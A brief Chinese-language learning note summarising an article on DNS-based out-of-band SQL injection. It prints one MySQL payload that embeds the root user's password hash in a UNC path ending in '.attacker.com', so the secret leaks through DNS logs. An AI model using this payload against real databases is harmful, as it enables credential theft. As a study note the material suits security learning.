這個技巧有些另類，當時某業界大佬提點了一下。當時真的真的沒有理解到那種程度，現在可能也是沒有理解到，但是我會努力。

本文章是理解於：http://netsecurity.51cto.com/art/201503/469621.htm

鏈接中的文章主要說的是什麽？

先愉快的介紹了DNS工作原理，註意其中有一個術語叫做遞歸。這個是DNS服務關鍵的一部分。

這種攻擊方式需要提前能查看DNS日誌，利用SQL註入語句返回信息，迫使DNS遞歸，然後DNS日誌的記錄。

日誌中就有SQL註入返回信息了。

例如：

SELECT LOAD_FILE(CONCAT(‘\\\\‘,(SELECT password FROM mysql.user
 
 WHERE user=‘root‘? LIMIT 1),‘.attacker.com\\foobar‘));

返回了：\\\\返回值（password）.attacker.com\\foobar。觸發了DNS遞歸，導致日誌記錄。

另一種的SQL註入和DNS結合的技巧